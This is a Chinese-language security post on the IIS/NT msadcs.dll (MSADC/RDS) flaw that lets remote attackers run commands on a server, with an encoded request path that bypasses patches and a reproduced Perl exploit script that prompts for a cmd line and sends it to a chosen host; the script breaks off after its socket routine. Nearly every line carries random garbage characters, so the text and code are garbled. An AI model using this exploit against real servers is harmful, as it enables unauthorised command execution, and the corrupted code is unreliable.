IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
TXx'7[ g"w)@*?K 涉及程序:
6,a%&1_ Microsoft NT server
4 ;^g MI9 xdCs5ko 描述:
2h5tBEOX.s 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\!m!ibr $}V7(wu 6@ 详细:
TJE%
U0Ln 如果你没有时间读详细内容的话,就删除:
{$3j/b c:\Program Files\Common Files\System\Msadc\msadcs.dll
JUmw$u 有关的安全问题就没有了。
4@ =
aa 4VC/-.At 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Euqjxz `~0P[>|+ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9N<*S'Z 关于利用ODBC远程漏洞的描述,请参看:
zLo;.X[Y KxGKA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m\/>C|f\ R9bhC9NP 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<r0.ppgY http://www.microsoft.com/security/bulletins/MS99-025faq.asp TLXhE(o|o uSH>$;a 这里不再论述。
R&]c"cO L8 ^zKt{a 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
a4Ls^ B<(Pd /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
omNpE_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
vuAQm}A4'g q"P5,:W _s2m-jm7 #将下面这段保存为txt文件,然后: "perl -x 文件名"
#aj|vox} Ii,~HH #!perl
q^)=F_QvG #
p1Y+ # MSADC/RDS 'usage' (aka exploit) script
b{zAJ`|#[n #
-3u@hp_ # by rain.forest.puppy
/rn" #
vU ?b"n # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
GJ.kkTMT # beta test and find errors!
Ng?apaIi@~ u,:CJ[3 use Socket; use Getopt::Std;
#,7eQaica getopts("e:vd:h:XR", \%args);
'" ^ B&W UwZu:[T6H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
r9+E'\ H&~5sEGa if (!defined $args{h} && !defined $args{R}) {
B>{|'z?%> print qq~
FLVbkW-G. Usage: msadc.pl -h <host> { -d <delay> -X -v }
@][ a8:Y9I -h <host> = host you want to scan (ip or domain)
"xL;(Fqu -d <seconds> = delay between calls, default 1 second
lv=yz\ -X = dump Index Server path table, if available
e 4 p*51ra -v = verbose
I/oIcQS!k -e = external dictionary file for step 5
~8XX3+]z:X NG!>7$@RV Or a -R will resume a command session
14mXx}O N>Vacc_[ ~; exit;}
R.91v4J cxAViWsf $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TP{>O%b if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
S`ax*` if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'bZMh9| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YgO aZqN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
YtV |e|aD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fG X1y
#;5[('&[ if (!defined $args{R}){ $ret = &has_msadc;
#> 7')G
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pg}~vb" !w @1!Xpn1 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=Jsg{vI . "cmd /c ";
P%.`c?olbs $in=<STDIN>; chomp $in;
L2[Ei|9_ $command="cmd /c " . $in ;
6U;Jg_zS 9@$tiDV if (defined $args{R}) {&load; exit;}
*p" "YEN `G_(xN7O print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
CP c" &try_btcustmr;
,`ZPtnH+ X_vI0YX9 print "\nStep 2: Trying to make our own DSN...";
w{_e"N &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+A]&AkTw Y&oP>n! ei print "\nStep 3: Trying known DSNs...";
):/<H &known_dsn;
ipx@pNW;" } l :mN print "\nStep 4: Trying known .mdbs...";
t}5'(9 &known_mdb;
,:0Q1~8
ZAI1p+ if (defined $args{e}){
2neF<H?^o print "\nStep 5: Trying dictionary of DSN names...";
>P<k[vF &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
A8_\2'b kS@9c _3S print "Sorry Charley...maybe next time?\n";
tqff84 exit;
`f\5p+!<7R ir9Q##f ##############################################################################
%Nwyx;>9^K )![f\!'PI sub sendraw { # ripped and modded from whisker
n/KI"qa]9 sleep($delay); # it's a DoS on the server! At least on mine...
K[iY{ my ($pstr)=@_;
Y|hzF:ll socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s|{^ }4{ die("Socket problems\n");
I}*]m%'-Y if(connect(S,pack "SnA4x8",2,80,$target)){
ki[;ZmQqY select(S); $|=1;
j\XX:uU_ print $pstr; my @in=<S>;
K$Mx}m7l select(STDOUT); close(S);
3EbnZb return @in;
c7FfI"7HR } else { die("Can't connect...\n"); }}
#Pb7EL#c _ 4~ng#M* ##############################################################################
#U?EOm qP7&Lt